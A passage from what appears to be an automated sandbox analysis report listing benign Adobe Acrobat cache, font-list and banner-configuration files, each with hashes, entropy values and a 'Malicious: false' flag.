Entropy (8bit):	2.775162490582081
Encrypted:	false
SSDEEP:	3:kkFklciqEllltfllXlE/HT8kvNNX8RolJuRdxLlGB9lQRYwpDdt:kKFiqseT8yNMa8RdWBwRd
MD5:	CFA6D35427236E1D3FED326FD1CECEE5
SHA1:	150FF45F8DE48954113D97CCC3E472C9F4F98DA7
SHA-256:	92B9932EC84A4D25F0BF8600865DE882844B1DA237624B8F7BD75DAC685374A2
SHA-512:	9F4952B933690DAF5AF39E4448AD1CCFE1E93B159DE63CCEF5075E1ACF431ACA3904CDC820DBD70986AA0068C013AE37C1B82375BF3A7109BF28F92B86F0E54B
Malicious:	false
Preview:	p...... .............c..(....................................................... ..........W....{...............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.1391791584200512
Encrypted:	false
SSDEEP:	6:kKhIiyL9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:1yiDnLNkPlE99SNxAhUe/3
MD5:	3B255743B374F60D5A47F67473EF082E
SHA1:	6CF1528E3436D9B63FD3E14A1C269A49C28B2AD5
SHA-256:	B1032AEC95CFE9FD9CA03F8455E01E28B7301AE671E7C0D2E95562D70A1E5051
SHA-512:	05EFEE60F4ABC766E499931AAD012321B9DFA211E701FE9C402C296AD810A3D450D8A404E38309FDD8F19FBA673807122A560B93E6B7834A5BD17FA897952FA5
Malicious:	false
Preview:	p...... .........[\..c..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.5296

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.5296

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.348625940928264
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPuk8djikmnx+FIbRI6XVW7+0YUoAvJM3g98kUwPeUkwRe9:YvXKXcdjgUYpW7GGMbLUkee9
MD5:	90878ADD65E2284A7CD1DE24C8445C7F
SHA1:	47F93785950549E5FC852034BD924D840FADE1FD
SHA-256:	9EDC99F25B004AEA3D39650DECC7E7EEC69F95BCFA324FC6A9086D7CD56887CF
SHA-512:	7750074987EA12B6972152BDE628DBC6D43287AB9D5A567682EFF3BDCF5B0412BB8054E10F4D577494E56F2E86B625B70A305BBD94079C57994B11346F3B7C81
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"80ae9b56-dfe8-4af2-8b15-ae43f9b904e6","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736709765075,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.283877995127905
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPuk8djikmnx+FIbRI6XVW7+0YUoAvJfBoTfXpnrPeUkwRe9:YvXKXcdjgUYpW7GGWTfXcUkee9
MD5:	8CAA3075C5665A1A6A74C96D3DFDD513
SHA1:	C7B4388D8F68C1BBD9BACF036D393DFEA990DF49
SHA-256:	180F2568E652E1F212CBEA1A55C11AA9DB817971E496F10602A7F0944ED2C614
SHA-512:	601566FCBAABF41ADFBD8548609BF064802DF81B6A724321934B37B2D3EC4C3B8B73B6C013ED86C837AD0F6F1EA2DA64CA22BCF112A4FEA1CFB1CADD4102789A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"80ae9b56-dfe8-4af2-8b15-ae43f9b904e6","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736709765075,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.263895711944264
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPuk8djikmnx+FIbRI6XVW7+0YUoAvJfBD2G6UpnrPeUkwRe9:YvXKXcdjgUYpW7GGR22cUkee9
MD5:	88B7F05BAB28D50CF16F9B40FFC155AC
SHA1:	97B4B99A7B74A920D20679FF77230AF5A0A4FBF2
SHA-256:	FDE5AD37B7E3151E3A601F359CB3C9B175B8F530E5DCBD27D27097AA1BB8C57C
SHA-512:	E62284EC56129F1ABC8EE0C4AA1AB3CC255E3807F773C797F511514AA03A55FBBE07A5F2B4C27ED49479621F9459F19D2D034F955EBC2830DB54BDF495F007D3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"80ae9b56-dfe8-4af2-8b15-ae43f9b904e6","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736709765075,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.3270017152352205
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPuk8djikmnx+FIbRI6XVW7+0YUoAvJfPmwrPeUkwRe9:YvXKXcdjgUYpW7GGH56Ukee9
MD5:	59FEA9A388A0022E2E7C6E9815F6BD1D
SHA1:	D9C4A98EABADE711EE6AC236A4D1ED94F5876A5F
SHA-256:	935FDDB1193C57E6749EB0DAD3A66915EC5F2B8205CCAAADDEA98354F551B891
SHA-512:	B9F6ABE5BCB1510822130FD615116E59A3069348E754C6A44BD9D094837BBE11032EC77E43C3159AAE50241589D6919127C3526396439CA095EF58A7C236AA3D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"80ae9b56-dfe8-4af2-8b15-ae43f9b904e6","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736709765075,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.686474203943544
Encrypted:	false
SSDEEP:	24:Yv6XsjgFiTpLgE9cQx8LennAvzBvkn0RCmK8czOCCSF:YvT/Thgy6SAFv5Ah8cv/F
MD5:	28F73BE18F3D83A5156D27992D1A90F6
SHA1:	69870B0A21AB7A9286BCCAD7BE932F52F1EEBED8
SHA-256:	4780F7C582E6397470B68A40C1618D37009969EBCECD9474239BBA89AED2D0D6
SHA-512:	9C666EA6530312AFEEE76CB36AD009D3638F324570E6E3A52C3E6D29820002D5C1437DEACAE4950F94B2EC02D03DFEA1A4CDE345CC57C93C7ED504ED801E8642
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"80ae9b56-dfe8-4af2-8b15-ae43f9b904e6","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736709765075,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.271088416722867
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPuk8djikmnx+FIbRI6XVW7+0YUoAvJf8dPeUkwRe9:YvXKXcdjgUYpW7GGU8Ukee9
MD5:	C1B6B695608F90918E287F90B15EF694
SHA1:	A55F97C929DCCD180EBEA14F2D4D8BCF97532A72
SHA-256:	34048F51E14C6CDF479558972149776A81EE3C5F453A7DA19B31B52478E118B4
SHA-512:	FB68954A793D2F607F48583A3275B85B0FA3CADD687D5781EBE7C0328CB7C1810B3228F11C4D121F3BF4C00D8ACE44740BE4B5FF17F34800B88C6E31C5692DD9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"80ae9b56-dfe8-4af2-8b15-ae43f9b904e6","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736709765075,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.272114866673897
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPuk8djikmnx+FIbRI6XVW7+0YUoAvJfQ1rPeUkwRe9:YvXKXcdjgUYpW7GGY16Ukee9
MD5:	B084021ECE27F111945CFC86EEAD1F3C
SHA1:	9A174E878FF08301743FD0EE93E34A0A92BC266F
SHA-256:	F1C03703142400D95C437803D0AD6D5419BB37ACE239167EA880A02241946ED9
SHA-512:	A7A7AD899C75B3D0EC5D7735763B10A07EAA3AA832B3FBA75AA3D56F996AE6159E07EA9893248F87A07A9AE4DACE5F0B1A6135AB0A7F3F26B0BAB95261E6F3F9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"80ae9b56-dfe8-4af2-8b15-ae43f9b904e6","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736709765075,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.2915547915242245
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPuk8djikmnx+FIbRI6XVW7+0YUoAvJfFldPeUkwRe9:YvXKXcdjgUYpW7GGz8Ukee9
MD5:	7A623F6A4E6D5054A9EC9C0F668BCFE1
SHA1:	89B62216C0248CBFCE1CA76E9C4E07CD509F7456
SHA-256:	A8104B7A5D19FFFA3FA698F153E00DD2C460F3DF7B7CC569A6313A563E47FF63
SHA-512:	39160C452BA0B54933A9BC13442B737D076F6120F8310E55F592FC47CE246E81C782E971E5D6CD32DCC8DB182E7DDBECBCF4B5AB8707E62372BE497DC48B0E72
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"80ae9b56-dfe8-4af2-8b15-ae43f9b904e6","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736709765075,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.297007323099602
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPuk8djikmnx+FIbRI6XVW7+0YUoAvJfzdPeUkwRe9:YvXKXcdjgUYpW7GGb8Ukee9
MD5:	6FE4265B6751EE34494E8EFE8C48DB48
SHA1:	365148B0B6DEFA16DEFA4718786C9F68B13F937C
SHA-256:	AEF3A386FED5E09EA8C213E35AE5EFF9D4D20668148C0B4199CD8EE2530FC993
SHA-512:	E194C8B36FBA0ED1EF6E193E5A6BF02796756C6C51C984487CFF4232AD433C29C0B669F149545054F38E39A14B41D5F96A965FC864B455A8B14EBDD32C493C7C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"80ae9b56-dfe8-4af2-8b15-ae43f9b904e6","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736709765075,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.277464398807016
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPuk8djikmnx+FIbRI6XVW7+0YUoAvJfYdPeUkwRe9:YvXKXcdjgUYpW7GGg8Ukee9
MD5:	C3B380C157480003C9843107C734FDC9
SHA1:	4941C5DEF0904E35E7FB2F40FA6BECBD84996DAF
SHA-256:	BF9F6F7ACE7EF30AD7892F17EAE1246F913E01C1212A7849C14092263339C4F6
SHA-512:	423329CCE773EFF3631709D99640DDBC6549CC3EBDE98FCC87722B7B7E53E9F8697DE6028E2780B04126839A26D2BB2C311E890B8AFE4B1CFC3976A1AD05F099
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"80ae9b56-dfe8-4af2-8b15-ae43f9b904e6","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736709765075,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.263966859077418
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPuk8djikmnx+FIbRI6XVW7+0YUoAvJf+dPeUkwRe9:YvXKXcdjgUYpW7GG28Ukee9
MD5:	78585DCEDD8C46A652FB89FCF55F2F85
SHA1:	E0FCBECD55D444A20F9E6B331B7AE5447BC4E15F
SHA-256:	CB1AE638E979302893B09758FB379777F4472372B6F987B033DAF07C6B24143F
SHA-512:	3A457EFDB6CDCBD5C5E1FB1CBEA372BCB3FDA5049C2BC648C9BEA0A4BF6D3AD9174458DEA90BCBDAF4B66176304D0549F19B0773CD7FAD80D32EF9463E9A18C1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"80ae9b56-dfe8-4af2-8b15-ae43f9b904e6","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736709765075,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.261166380337875
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPuk8djikmnx+FIbRI6XVW7+0YUoAvJfbPtdPeUkwRe9:YvXKXcdjgUYpW7GGDV8Ukee9
MD5:	D080A9BFD75AF8707CE8DBA55C03EA3E
SHA1:	43539DE0530C1392A5072E459D01DAB9D27DD4B3
SHA-256:	5AB5EE16912C6D5F6C239550920F4892C650E53D036DFF1235CBC0264417F14C
SHA-512:	D6945AFDB5144DD09CE9F2B3E1F7C4803DEDF601A7444FC637A24D3F8716C42A48305D5AC620F18376FB4E85BA03ACA0DC046E01A7448563B42AF6AAEEA1B95B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"80ae9b56-dfe8-4af2-8b15-ae43f9b904e6","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736709765075,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.262823538834145
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPuk8djikmnx+FIbRI6XVW7+0YUoAvJf21rPeUkwRe9:YvXKXcdjgUYpW7GG+16Ukee9
MD5:	B3F6844CD7736A9D40BC3DB7B305B983
SHA1:	AA738CBF8E5BE66B25553588438203EF498BB99D
